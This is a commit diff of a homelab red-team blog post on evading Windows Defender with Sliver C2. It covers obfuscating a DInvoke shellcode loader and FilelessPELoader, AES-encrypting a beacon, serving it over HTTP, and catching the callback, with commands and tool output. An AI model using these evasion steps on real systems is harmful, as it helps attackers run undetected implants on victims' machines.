Skip to content

Commit 1cd8167

Browse files
author
bytebl33d
committed
Sliver Evasion updated
1 parent 8cee374 commit 1cd8167

3 files changed

Lines changed: 31 additions & 25 deletions

File tree

_posts/2024-12-26-sliver-evasion.md

Lines changed: 31 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -2,28 +2,30 @@
22
layout: single
33
title: "Anti-Virus Evasion with Sliver C2"
44
seo_title: "Using DInvoke and Sliver C2 beacons to evade Anti-Virus and Escalate Privileges"
5-
date: 2024-12-26 15:00:00 +0200
5+
date: 2025-1-04 09:00:00 +0200
66
categories: ['Maldev', 'Windows', 'Homelab']
77
classes: wide
88
toc: true
99
header:
1010
teaser: "/assets/images/headers/Sliver-Purple.jpg"
1111
---
1212

13-
Recently I have been playing around with [Sliver](https://github.com/BishopFox/sliver) from BishopFox as a C2 framework. After trying it out and executing some beacon payloads on a Windows VM, I noticed that the beacons instantly get flagged by Windows Defender. So to improve my Red Teaming skills, I was interested in finding ways to bypass some general anti-virus software like Windows Defender. In this post I will take you through the process of using [DInvoke](https://github.com/Kara-4search/DInvoke_shellcodeload_CSharp/tree/main) as a shellcode injecter and using common obfuscation techniques for bypassing AVs.
13+
Recently I have been playing around with [Sliver](https://github.com/BishopFox/sliver) from BishopFox as a C2 framework. After using it for some time and executing several beacon payloads on my Windows VM, I noticed that the beacons instantly get dropped by Windows Defender. In order to improve my Red Teaming skills, I was interested in finding ways to bypass some general anti-virus software like Windows Defender. In this post I will take you through the process of using [DInvoke](https://github.com/Kara-4search/DInvoke_shellcodeload_CSharp/tree/main) as a shellcode injecter. I will also showcase how we can make a PE loader to inject code into memory, together with some common obfuscation techniques.
1414

1515
# DInvoke Shellcode Loader (.NET)
16-
To start building our shellcode loader, I decided to make use of DInvoke by [TheWover](https://github.com/TheWover). Using DInvoke, we can use Dynamic Invocation to load unmanaged code via DLLs at runtime. This can help us avoiding API Hooking by calling arbitrary code from memory, while also avoiding detections that look for imports of suspicious API calls via the Import Address Table. For more information about the DInvoke project, be sure to read [TheWover's blog post](https://thewover.github.io/Dynamic-Invoke/) where he demonstrates how the project works.
16+
In recent years, more and more tools are coded in C# or ported from PowerShell. One of the features of C# is its ability to call the Win32 API and interact with low-level functions just like you would in C or C++.
1717

18-
In order to make use of DInvoke as a shellcode loader, I modified an existing C# Visual Studio project of [Kara-4search](https://github.com/Kara-4search/DInvoke_shellcodeload_CSharp/tree/main). I changed the original code to download the shellcode from a web server and then load it into memory.
18+
To build a shellcode loader, I decided to make use of DInvoke by [TheWover](https://github.com/TheWover). Using DInvoke, we can use Dynamic Invocation to load unmanaged code via DLLs at runtime (unlike PInvoke). This can help us avoiding API Hooking by calling arbitrary code from memory, while also avoiding detections that look for imports of suspicious API calls via the Import Address Table. For more information about the DInvoke project, be sure to read [TheWover's blog post](https://thewover.github.io/Dynamic-Invoke/) where he demonstrates how the project works.
19+
20+
In order to make use of DInvoke as a shellcode loader, I made a few modifications to an existing project of [Kara-4search](https://github.com/Kara-4search/DInvoke_shellcodeload_CSharp/tree/main). I changed the original code in order to download my shellcode from a web server and then load it into memory. The applied changes can be seen below.
1921

2022
![DInvoke Loader](../assets/images/maldev/DInvoke-Loader-1.png)
2123

2224
## Obfuscation with InvisibilityCloak
23-
With these changes applied, we can save the project and perform some obfuscation. The [InvisibilityCloak](https://github.com/h4wkst3r/InvisibilityCloak) project serves as an obfuscation toolkit that allows for some quick modifications to your project like changing the name, project GUID, string obfuscation, removing comments and removing program database (PDB) strings. Download the project, compile the binary and run the following command in order to rename the project and apply string reversing as the obfuscation method.
25+
With our modifications in place, we can save the project and perform some code obfuscation. The [InvisibilityCloak](https://github.com/h4wkst3r/InvisibilityCloak) project serves as an easy-to-use obfuscation toolkit that allows for some quick modifications to your project. This includes things like changing the project name, project GUID, applying string obfuscation, removing comments and removing program database (PDB) strings. Just clone the project, compile the binary and run the following command in order to rename the project and apply string reversing as the obfuscation method.
2426

2527
```console
26-
C:\Tools\Python\InvisibilityCloak> python.exe InvisibilityCloak.py -d C:\Tools\DInvoke_Loader\DInvoke_shellcodeload -n "Bashee" -m reverse
28+
C:\Tools\Python\InvisibilityCloak> python.exe InvisibilityCloak.py -d C:\Tools\DInvoke_Loader\DInvoke_shellcodeload -n "s3rp3nt" -m reverse
2729
, . . . ,-. . ,
2830
| o o | o | o | / | |
2931
| ;-. . , . ,-. . |-. . | . |- . . | | ,-. ,-: | ,
@@ -33,7 +35,7 @@ C:\Tools\Python\InvisibilityCloak> python.exe InvisibilityCloak.py -d C:\Tools\D
3335
====================================================
3436
[*] INFO: String obfuscation method: reverse
3537
[*] INFO: Directory of C# project: C:\Tools\DInvoke_Loader\DInvoke_shellcodeload
36-
[*] INFO: New tool name: Bashee
38+
[*] INFO: New tool name: s3rp3nt
3739
====================================================
3840

3941
[*] INFO: Generating new GUID for C# project
@@ -46,12 +48,12 @@ C:\Tools\DInvoke_Loader\DInvoke_shellcodeloadDInvoke_test\Properties\AssemblyInf
4648

4749
[*] INFO: Removing PDB string in C# project file
4850

49-
[*] INFO: Renaming DInvoke_shellcodeload.sln to Bashee.sln
50-
[*] INFO: Renaming DInvoke_shellcodeload.csproj to Bashee.csproj
51-
[*] INFO: Renaming directory DInvoke_shellcodeload to Bashee
51+
[*] INFO: Renaming DInvoke_shellcodeload.sln to s3rp3nt.sln
52+
[*] INFO: Renaming DInvoke_shellcodeload.csproj to s3rp3nt.csproj
53+
[*] INFO: Renaming directory DInvoke_shellcodeload to s3rp3nt
5254

5355
[+] SUCCESS: New GUID of 1465ec05-f1b9-48e2-af4a-442f974e22a1 was generated and replaced in your project
54-
[+] SUCCESS: New tool name of Bashee was replaced in project
56+
[+] SUCCESS: New tool name of s3rp3nt was replaced in project
5557

5658
[*] INFO: Performing reverse obfuscation on strings in C:\Tools\DInvoke_Loader\DInvoke_shellcodeload\DInvokeFunctions.cs
5759
[*] INFO: Performing reverse obfuscation on strings in C:\Tools\DInvoke_Loader\DInvoke_shellcodeload\DInvoke_test\DELEGATES.cs
@@ -61,53 +63,55 @@ C:\Tools\DInvoke_Loader\DInvoke_shellcodeloadDInvoke_test\Properties\AssemblyInf
6163
[*] INFO: Performing reverse obfuscation on strings in C:\Tools\DInvoke_Loader\DInvoke_shellcodeload\DInvoke_test\obj\x64\Release\.NETFramework,Version=v4.7.2.AssemblyAttributes.cs
6264
[*] INFO: Performing reverse obfuscation on strings in C:\Tools\DInvoke_Loader\DInvoke_shellcodeload\DInvoke_test\obj\x86\Debug\.NETFramework,Version=v4.7.2.AssemblyAttributes.cs
6365

64-
[+] SUCCESS: Your new tool Bashee now has the invisibility cloak applied.
66+
[+] SUCCESS: Your new tool s3rp3nt now has the invisibility cloak applied.
6567
```
6668

67-
From the output we see that we have succesfully obfuscated the project. Before compiling, let's change all string references to DInvoke to another custom string (e.g. "Bashee"). We will also change the project output type to be a Windows Application in order to avoid a console pop-up when executing the binary.
69+
From the output we see that we have succesfully obfuscated the project. Before compiling, let's change all string references to DInvoke to another custom string (e.g. "s3rp3nt"). We will also change the project output type to be a Windows Application in order to avoid a console pop-up when executing the binary.
6870

6971
![DInvoke loader](../assets/images/maldev/DInvoke-Loader-2.png)
7072

71-
We can now compile the project to x64 architecture in release mode.
73+
We can now compile the project to x64 architecture in release mode by going to `Build > Build Solution`.
7274

7375
## AV Check
74-
With our loader ready, we can check if the file is not flagged as malicious by running [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) or [DefenderCheck](https://github.com/matterpreter/DefenderCheck).
76+
With our loader ready, we can verify if our file is not getting detected as malicious by running [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) or [DefenderCheck](https://github.com/matterpreter/DefenderCheck).
7577

7678
```console
77-
C:\Tools> DefenderCheck.exe BasheeLoader.exe
79+
C:\Tools> DefenderCheck.exe s3rp3ntLoader.exe
7880
Target file size: 8192 bytes
7981
Analyzing...
8082

8183
Exhausted the search. The binary looks good to go!
8284

83-
C:\Tools\ThreatCheck\bin\Release> ThreatCheck.exe -f C:\Tools\BasheeLoader.exe
85+
C:\Tools\ThreatCheck\bin\Release> ThreatCheck.exe -f C:\Tools\s3rp3ntLoader.exe
8486
[+] No threat found!
8587
```
8688

87-
No threats have been found! This means that we have now made a program that can fetch our shellcode and execute it in memory without triggering Defender.
89+
No threats have been found!
8890

8991
# FilelessPELoader (C++)
90-
The one downside to the above approach is that it requires .NET to be installed on the host to be able to execute our loader. Another technique that can be used to load an encrypted version in memory, decrypt it and execute the payload. To do this, we can make use of the [FilelessPELoader](https://github.com/SaadAhla/FilelessPELoader) project and obfuscate the code. Since this is not a C# project, we cannot use InvisibilityCloak to do the obfuscation. We will do the this manually this time. Again we can use either DefenderCheck or ThreatCheck to see if our executable is good to go.
92+
One downside of using DInvoke is that it requires .NET to be installed on the host to be able to execute our loader because of the CLR. This means that we need to write our application in another language like C++. At this point I don't feel like rewriting the whole project in C++ so I will make use of another way.
93+
94+
Another technique that can be used is to load an encrypted version of our shellcode in memory, decrypt it and execute it. To do this, we can make use of the [FilelessPELoader](https://github.com/SaadAhla/FilelessPELoader) project and again do some obfuscation on the original code. Since this is not a C# project, we cannot use InvisibilityCloak to do the obfuscation, so we will do it manually this time. Again we can use either DefenderCheck or ThreatCheck to see if our executable is good to go. Let's first clone the project and compile our binary without any modifications.
9195

9296
![FilelessPELoader](../assets/images/maldev/FilelessPELoader-1.png)
9397

94-
From the above output, we can see that our file has some bad bytes that will be detected by AV. To fix this I removed all comments, any unnecessary print statements and reversed a few function names.
98+
From the above output, we can see that ThreatCheck has identified some bad bytes that will be detected by AV. To fix this I removed all comments, any unnecessary print statements or functions, and reversed several function names. I am not going into detail on how to obfuscate the code, since it should be relatively easy to bypass any signature checks.
9599

96100
![FilelessPELoader](../assets/images/maldev/FilelessPELoader-2.png)
97101

98-
Afterwards we can encrypt any file we want with the `aes.py` script.
102+
The project comes with a custom `aes.py` script that can be used to encrypt any file we want. The idea is that our loader will fetch the encrypted binary (`cipher.bin`) together with a key (`key.bin`) in order to decrypt it.
99103

100104
```console
101105
$ python3 aes.py malicious_file.exe
102106
$ ls
103107
aes.py cipher.bin key.bin malicious_file.exe
104108
```
105109

106-
This will create the files `cipher.bin` and `key.bin` that we can pass to our loader as arguments in order to retrieve the files. In the next section we will have a look at how we can make use of our loaders. We can even do this with any file we want in order to evade detection.
110+
The generated files `cipher.bin` and `key.bin` can be passed to our loader as arguments. In the next section we will have a look at how we can make use of our loaders.
107111

108112
# Sliver in Action
109113
## Shellcode Generation
110-
Moving to our attack machine, we create shellcode for a Sliver C2 beacon. Start Sliver, generate a mTLS beacon targeting your IP and save it to a directory of your choosing. Next we start the mTLS listener.
114+
Moving to our attack machine, we will create shellcode for a Sliver beacon. Start Sliver, generate a mTLS beacon targeting your IP and save it to a directory of your choosing. Next we start the mTLS listener.
111115

112116
![Sliver Setup](../assets/images/maldev/sliver-setup.png)
113117

@@ -143,7 +147,9 @@ Now with everything set lets try to get a beacon from our victim machine (`172.1
143147

144148
![Sliver Execution](../assets/images/maldev/sliver-execution.png)
145149

146-
After executing our custom shellcode loader, we can see it has grabbed our beacon from our Python server, loaded our shellcode in memory and we received a connection from our server without alerting Windows Defender. We can also try running our modified FilelessPELoader executable.
150+
After executing our custom shellcode loader, we can see it has grabbed our beacon from our Python server, loaded our shellcode in memory and we received a connection from our server without alerting Windows Defender. You see that I get a couple of beacon connections, because I rand the executable a couple of times.
151+
152+
Now we can also try running our modified FilelessPELoader executable.
147153

148154
```console
149155
$ python3 aes.py beacon.exe
@@ -156,7 +162,7 @@ Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
156162
We can now even go a step further and escalate privileges on the victim.
157163

158164
## Privilege Escalation
159-
Use the beacon and run `sa-whoami`. This will run a `whoami /all` in a more safe way.
165+
Use one of the beacons and run `sa-whoami`. This will run a `whoami /all` in a more safe way.
160166

161167
```console
162168
[server] sliver (ESSENTIAL_THEATER) > sa-whoami
1.23 KB
Loading
397 KB
Loading

0 commit comments

Comments
 (0)